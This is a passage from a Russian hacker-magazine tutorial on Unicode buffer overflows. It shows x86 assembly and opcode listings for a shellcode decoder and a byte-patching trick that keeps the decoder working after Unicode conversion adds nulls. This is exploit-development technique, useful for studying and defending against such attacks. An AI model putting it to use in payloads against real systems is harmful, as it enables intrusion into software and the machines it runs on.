Unicode-Buffer Overflows Мысла Владислав Спецвыпуск Xakep, номер #045, стр. 045-056-4 Схема реализации очень проста, но для того чтобы написать такой декодер в стандартном виде, требуется исполнить следующие команды: Листинг ; ebx = 1 ; eax = address of encoded shellcode ; esp = address for decoded shellcode ; ecx = length of shellcode Decoder: 43 inc ebx 8A 14 58 mov dl,byte ptr [eax+ebx*2] 88 14 1C mov byte ptr [esp+ebx],dl E2 F7 loop Decoder Как ты можешь заметить, это мало похоже на Unicode-формат. А ведь декодер должен быть написан так, чтобы после обработки он стал рабочим. В то же время, если его конвертировать, то получится следующее: Листинг 43 inc ebx 00 8A 00 14 00 58 add byte ptr [edx+58001400h],cl 00 88 00 14 00 1C add byte ptr [eax+1C001400h],cl 00 E2 add dl,ah 00 F7 add bh,dh Поэтому надо поступить иначе. Наш декодер занимает 8 байт: Code: 43 8A 14 58 88 14 1C E2 F7 - 0x08 bytes Unicode: 43 00 8A 00 14 00 58 00 88 00 14 00 1C 00 E2 00 F7 - 0x10 bytes Если пропустить в нем каждый второй байт, то после форматирования он будет иметь размер ровно 8 байт с одной только разницей, что каждый второй байт будет нулевым: Code: 43 14 88 1C F7 - 0x05 bytes Unicode: 43 00 14 00 88 00 1C 00 F7 - 0x08 bytes После таких операций мы потеряли ровно 4 байта. На данном этапе декриптор нельзя назвать рабочим. Чтобы его можно было использовать, придется вспомнить о доступных операциях (соблюдая формат), например, о модификации памяти (patching). Действительно, если ты знаешь местонахождение декодера в памяти, то можешь легко изменить нужные байты. В данном случае надо поменять нули на соответствующие их позициям байты в shell-коде: Листинг Сode : 43 14 88 1C F7 - 0x05 bytes Unicode: 43 00 14 00 88 00 1C 00 F7 - 0x08 bytes Patch : +8A +58 +14 +E2 Decoded: 43 8A 14 58 88 14 1C E2 F7 - 0x08 bytes Таким образом, чтобы заставить декодер работать, надо заменить 4 байта. Согласно формату, эту операцию можно проделать так: Листинг ; eax = address of decoder 40 inc eax 00 45 00 add byte ptr [ebp],al 40 inc eax 00 45 00 add byte ptr [ebp],al C6 00 58 mov byte ptr [eax],0xXX 00 45 00 add byte ptr [ebp],al Поясню, что делает этот фрагмент кода. В регистре eax находится адрес нерабочего декодера, код которого необходимо изменить. Так как после форматирования декодер имеет на каждой второй позиции нули, то нам необходимо всегда смещаться на два, чтобы попадать на те места в памяти, которые требуется изменить. После двойного инкрементирования регистра eax он указывает на некую область памяти. Если теперь взглянуть на младший разряд числа, на которое указывает eax, то там будет как раз тот нуль, от которого следует избавиться. Поэтому следующим шагом будет запись туда нужного тебе числа. К сожалению, эту процедуру нельзя вынести в цикл, потому что любой цикл (loop, loopnz, call и т.д.) требует указания смещения, на которое будет идти прыжок, а Unicode требует, чтобы второй байт команды был нулевым. Получается, что ты все-таки можешь использовать циклы, но только на один байт вперед. Операция add byte ptr [ebp],al используется только для приведения shell-кода к Unicode-формату. Графически модификация декодера выглядит так: |